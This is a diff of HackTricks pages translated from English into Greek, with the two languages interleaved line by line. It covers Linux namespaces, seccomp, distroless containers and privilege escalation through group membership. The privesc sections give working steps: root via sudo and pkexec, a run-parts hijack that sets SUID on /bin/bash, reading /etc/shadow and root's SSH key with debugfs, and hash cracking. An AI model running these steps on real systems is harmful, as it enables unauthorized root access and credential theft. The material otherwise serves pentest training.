3. Οι διεργασίες μπορούν να μετακινηθούν μεταξύ namespaces χρησιμοποιώντας την κλήση συστήματος `setns()` ή να δημιουργήσουν νέα namespaces χρησιμοποιώντας τις κλήσεις συστήματος `unshare()` ή `clone()` με την σημαία `CLONE_NEWUTS`. Όταν μια διεργασία μετακινείται σε ένα νέο namespace ή δημιουργεί ένα, θα αρχίσει να χρησιμοποιεί το hostname και το NIS domain name που σχετίζονται με αυτό το namespace.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι το νέο mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτό το namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Σφάλμα: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω:
1. **Problem Explanation**:
1. **Εξήγηση Προβλήματος**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργήσει νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία ενός νέου PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στο νέο namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Κατά συνέπεια, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στο αρχικό PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα του namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτό το namespace.
2. **Consequence**:
2. **Συνέπεια**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα η συνάρτηση `alloc_pid` να αποτύχει να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Λύση**:
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία του νέου PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτό το νέο namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Ελέγξτε σε ποιο namespace βρίσκεται η διαδικασία σας
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```
### Find all UTS namespaces
### Βρείτε όλα τα UTS namespaces
```bash
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an UTS namespace
### Είσοδος σε ένα UTS namespace
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,16 +4,15 @@
## Basic Information
**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them.
**Seccomp**, που σημαίνει Secure Computing mode, είναι μια λειτουργία ασφαλείας του **Linux kernel που έχει σχεδιαστεί για να φιλτράρει τις κλήσεις συστήματος**. Περιορίζει τις διαδικασίες σε ένα περιορισμένο σύνολο κλήσεων συστήματος (`exit()`, `sigreturn()`, `read()`, και `write()` για ήδη ανοιχτούς περιγραφείς αρχείων). Αν μια διαδικασία προσπαθήσει να καλέσει οτιδήποτε άλλο, τερματίζεται από τον πυρήνα χρησιμοποιώντας SIGKILL ή SIGSYS. Αυτός ο μηχανισμός δεν εικονικοποιεί τους πόρους αλλά απομονώνει τη διαδικασία από αυτούς.
There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`.
Υπάρχουν δύο τρόποι για να ενεργοποιηθεί το seccomp: μέσω της κλήσης συστήματος `prctl(2)` με `PR_SET_SECCOMP`, ή για πυρήνες Linux 3.17 και άνω, την κλήση συστήματος `seccomp(2)`. Η παλαιότερη μέθοδος ενεργοποίησης του seccomp γράφοντας στο `/proc/self/seccomp` έχει καταργηθεί υπέρ του `prctl()`.
An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux.
Μια βελτίωση, **seccomp-bpf**, προσθέτει τη δυνατότητα φιλτραρίσματος κλήσεων συστήματος με μια προσαρμόσιμη πολιτική, χρησιμοποιώντας κανόνες Berkeley Packet Filter (BPF). Αυτή η επέκταση αξιοποιείται από λογισμικό όπως το OpenSSH, vsftpd, και τους περιηγητές Chrome/Chromium στο Chrome OS και Linux για ευέλικτο και αποδοτικό φιλτράρισμα κλήσεων συστήματος, προσφέροντας μια εναλλακτική λύση στο πλέον μη υποστηριζόμενο systrace για Linux.
### **Original/Strict Mode**
In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL
Σε αυτή τη λειτουργία, το Seccomp **επιτρέπει μόνο τις κλήσεις συστήματος** `exit()`, `sigreturn()`, `read()` και `write()` σε ήδη ανοιχτούς περιγραφείς αρχείων. Αν γίνει οποιαδήποτε άλλη κλήση συστήματος, η διαδικασία τερματίζεται χρησιμοποιώντας SIGKILL.
```c:seccomp_strict.c
#include <fcntl.h>
#include <stdio.h>
@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read(
int main(int argc, char **argv)
{
int output = open("output.txt", O_WRONLY);
const char *val = "test";
int output = open("output.txt", O_WRONLY);
const char *val = "test";
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);
printf("You will not see this message--the process will be killed first\n");
printf("You will not see this message--the process will be killed first\n");
}
```
### Seccomp-bpf
This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules.
Αυτός ο τρόπος επιτρέπει **φιλτράρισμα των κλήσεων συστήματος χρησιμοποιώντας μια ρυθμιζόμενη πολιτική** που υλοποιείται με κανόνες Berkeley Packet Filter.
```c:seccomp_bpf.c
#include <seccomp.h>
#include <unistd.h>
@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
void main(void) {
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
}
```
## Seccomp στο Docker
## Seccomp in Docker
**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
You can run a docker container with a **different seccomp** policy with:
**Seccomp-bpf** υποστηρίζεται από το **Docker** για να περιορίσει τις **syscalls** από τα κοντέινερ, μειώνοντας αποτελεσματικά την επιφάνεια επίθεσης. Μπορείτε να βρείτε τις **syscalls που αποκλείονται** από **προεπιλογή** στο [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) και το **προφίλ seccomp προεπιλογής** μπορείτε να το βρείτε εδώ [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
Μπορείτε να εκτελέσετε ένα κοντέινερ docker με μια **διαφορετική πολιτική seccomp** με:
```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```
If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\
If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\
In the following example the **syscalls** of `uname` are discovered:
Αν θέλετε για παράδειγμα να **απαγορεύσετε** σε ένα κοντέινερ να εκτελεί κάποιο **syscall** όπως το `uname`, μπορείτε να κατεβάσετε το προεπιλεγμένο προφίλ από [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) και απλά να **αφαιρέσετε τη συμβολοσειρά `uname` από τη λίστα**.\
Αν θέλετε να βεβαιωθείτε ότι **κάποιο δυαδικό αρχείο δεν λειτουργεί μέσα σε ένα κοντέινερ docker**, μπορείτε να χρησιμοποιήσετε το strace για να καταγράψετε τα syscalls που χρησιμοποιεί το δυαδικό αρχείο και στη συνέχεια να τα απαγορεύσετε.\
Στο παρακάτω παράδειγμα ανακαλύπτονται τα **syscalls** του `uname`:
```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```
> [!NOTE]
> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs
> Αν χρησιμοποιείτε **Docker μόνο για να εκκινήσετε μια εφαρμογή**, μπορείτε να **προφίλ** την με **`strace`** και **να επιτρέψετε μόνο τις syscalls** που χρειάζεται
### Example Seccomp policy
### Παράδειγμα πολιτικής Seccomp
[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
To illustrate Seccomp feature, lets create a Seccomp profile disabling “chmod” system call as below.
Για να απεικονίσουμε τη δυνατότητα Seccomp, ας δημιουργήσουμε ένα προφίλ Seccomp που απενεργοποιεί την κλήση συστήματος “chmod” όπως παρακάτω.
```json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
}
```
In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\
Following output shows the “chmod” call returning error because its disabled in the seccomp profile
Στο παραπάνω προφίλ, έχουμε ορίσει την προεπιλεγμένη ενέργεια σε “allow” και έχουμε δημιουργήσει μια μαύρη λίστα για να απενεργοποιήσουμε το “chmod”. Για να είμαστε πιο ασφαλείς, μπορούμε να ορίσουμε την προεπιλεγμένη ενέργεια σε drop και να δημιουργήσουμε μια λευκή λίστα για να ενεργοποιούμε επιλεκτικά τις κλήσεις συστήματος.\
Η παρακάτω έξοδος δείχνει την κλήση “chmod” να επιστρέφει σφάλμα επειδή είναι απενεργοποιημένη στο προφίλ seccomp.
```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```
Following output shows the “docker inspect” displaying the profile:
Η παρακάτω έξοδος δείχνει την "docker inspect" που εμφανίζει το προφίλ:
```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,29 +2,29 @@
{{#include ../../../banners/hacktricks-training.md}}
## What is Distroless
## Τι είναι το Distroless
A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components.
Ένα distroless container είναι ένας τύπος container που **περιέχει μόνο τις απαραίτητες εξαρτήσεις για να εκτελέσει μια συγκεκριμένη εφαρμογή**, χωρίς επιπλέον λογισμικό ή εργαλεία που δεν απαιτούνται. Αυτά τα containers έχουν σχεδιαστεί για να είναι όσο το δυνατόν **ελαφρύτερα** και **ασφαλέστερα**, και στοχεύουν να **ελαχιστοποιήσουν την επιφάνεια επίθεσης** αφαιρώντας οποιαδήποτε περιττά στοιχεία.
Distroless containers are often used in **production environments where security and reliability are paramount**.
Τα distroless containers χρησιμοποιούνται συχνά σε **παραγωγικά περιβάλλοντα όπου η ασφάλεια και η αξιοπιστία είναι πρωταρχικής σημασίας**.
Some **examples** of **distroless containers** are:
Ορισμένα **παραδείγματα** **distroless containers** είναι:
- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
- Παρέχονται από **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Παρέχονται από **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Weaponizing Distroless
The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`.
Ο στόχος της οπλοποίησης ενός distroless container είναι να είναι δυνατή η **εκτέλεση αυθαίρετων δυαδικών και payloads ακόμη και με τους περιορισμούς** που υπονοούνται από το **distroless** (έλλειψη κοινών δυαδικών στο σύστημα) και επίσης προστασίες που συχνά βρίσκονται σε containers όπως **read-only** ή **no-execute** στο `/dev/shm`.
### Through memory
### Μέσω μνήμης
Coming at some point of 2023...
Έρχεται κάποια στιγμή το 2023...
### Via Existing binaries
### Μέσω Υπαρχόντων δυαδικών
#### openssl
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container.
\***\*[**Σε αυτή την ανάρτηση,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) εξηγείται ότι το δυαδικό **`openssl`** συχνά βρίσκεται σε αυτά τα containers, πιθανώς επειδή είναι **απαραίτητο\*\* από το λογισμικό που πρόκειται να εκτελείται μέσα στο container.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
# Interesting Groups - Linux Privesc
# Ενδιαφέροντα Γκρουπ - Linux Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/Admin Groups
## Ομάδες Sudo/Διαχειριστή
### **PE - Method 1**
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
### **PE - Μέθοδος 1**
**Μερικές φορές**, **κατά προεπιλογή (ή επειδή κάποια λογισμικά το χρειάζονται)** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε μερικές από αυτές τις γραμμές:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -15,48 +14,36 @@
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Αυτό σημαίνει ότι **οποιοσδήποτε χρήστης ανήκει στην ομάδα sudo ή admin μπορεί να εκτελέσει οτιδήποτε ως sudo**.
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Αν αυτό ισχύει, για **να γίνεις root μπορείς απλά να εκτελέσεις**:
```
sudo su
```
### PE - Μέθοδος 2
### PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
Βρείτε όλα τα suid δυαδικά και ελέγξτε αν υπάρχει το δυαδικό **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
Αν διαπιστώσετε ότι το δυαδικό αρχείο **pkexec είναι ένα SUID δυαδικό αρχείο** και ανήκετε σε **sudo** ή **admin**, θα μπορούσατε πιθανώς να εκτελέσετε δυαδικά αρχεία ως sudo χρησιμοποιώντας το `pkexec`.\
Αυτό συμβαίνει επειδή συνήθως αυτές είναι οι ομάδες μέσα στην **πολιτική polkit**. Αυτή η πολιτική βασικά προσδιορίζει ποιες ομάδες μπορούν να χρησιμοποιούν το `pkexec`. Ελέγξτε το με:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένες διανομές Linux εμφανίζονται οι ομάδες **sudo** και **admin**.
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
To **become root you can execute**:
Για **να γίνετε root μπορείτε να εκτελέσετε**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
Αν προσπαθήσετε να εκτελέσετε **pkexec** και λάβετε αυτό το **σφάλμα**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**Δεν είναι επειδή δεν έχετε δικαιώματα αλλά επειδή δεν είστε συνδεδεμένοι χωρίς GUI**. Και υπάρχει μια λύση για αυτό το ζήτημα εδώ: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Χρειάζεστε **2 διαφορετικές ssh συνεδρίες**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
## Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**Μερικές φορές**, **κατά προεπιλογή** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε αυτή τη γραμμή:
```
%wheel ALL=(ALL:ALL) ALL
```
Αυτό σημαίνει ότι **οποιοσδήποτε χρήστης ανήκει στην ομάδα wheel μπορεί να εκτελεί οτιδήποτε ως sudo**.
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
Αν αυτό ισχύει, για **να γίνεις root μπορείς απλά να εκτελέσεις**:
```
sudo su
```
## Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
Χρήστες από την **ομάδα shadow** μπορούν να **διαβάσουν** το **/etc/shadow** αρχείο:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Έτσι, διαβάστε το αρχείο και προσπαθήστε να **σπάσετε μερικούς κατακερματισμούς**.
So, read the file and try to **crack some hashes**.
## Ομάδα Προσωπικού
## Staff Group
**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups)
In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not.
**staff**: Επιτρέπει στους χρήστες να προσθέτουν τοπικές τροποποιήσεις στο σύστημα (`/usr/local`) χωρίς να χρειάζονται δικαιώματα root (σημειώστε ότι τα εκτελέσιμα αρχεία στο `/usr/local/bin` είναι στη μεταβλητή PATH οποιουδήποτε χρήστη και μπορεί να "υπερκαλύψουν" τα εκτελέσιμα αρχεία στο `/bin` και `/usr/bin` με το ίδιο όνομα). Συγκρίνετε με την ομάδα "adm", η οποία σχετίζεται περισσότερο με την παρακολούθηση/ασφάλεια. [\[source\]](https://wiki.debian.org/SystemGroups)
Στις διανομές debian, η μεταβλητή `$PATH` δείχνει ότι το `/usr/local/` θα εκτελείται με την υψηλότερη προτεραιότητα, είτε είστε προνομιούχος χρήστης είτε όχι.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -107,11 +86,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
Αν μπορέσουμε να υποκλέψουμε μερικά προγράμματα στο `/usr/local`, μπορούμε εύκολα να αποκτήσουμε δικαιώματα root.
If we can hijack some programs in `/usr/local`, we can easy to get root.
Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login).
Η υποκλοπή του προγράμματος `run-parts` είναι ένας εύκολος τρόπος για να αποκτήσουμε δικαιώματα root, επειδή τα περισσότερα προγράμματα θα εκτελούν ένα `run-parts` όπως (crontab, κατά την είσοδο μέσω ssh).
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
or When a new ssh session login.
ή Όταν συνδέεται μια νέα συνεδρία ssh.
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -134,9 +109,7 @@ $ pspy64
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
```
**Exploit**
**Εκμετάλλευση**
```bash
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
@ -155,13 +128,11 @@ $ ls -la /bin/bash
# 0x5 root it
$ /bin/bash -p
```
## Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Αυτή η προνομιακή πρόσβαση είναι σχεδόν **ισοδύναμη με την πρόσβαση root** καθώς μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα μέσα στη μηχανή.
Files:`/dev/sd[a-z][1-9]`
```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
@ -170,57 +141,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
Σημειώστε ότι χρησιμοποιώντας το debugfs μπορείτε επίσης να **γράφετε αρχεία**. Για παράδειγμα, για να αντιγράψετε το `/tmp/asd1.txt` στο `/tmp/asd2.txt` μπορείτε να κάνετε:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
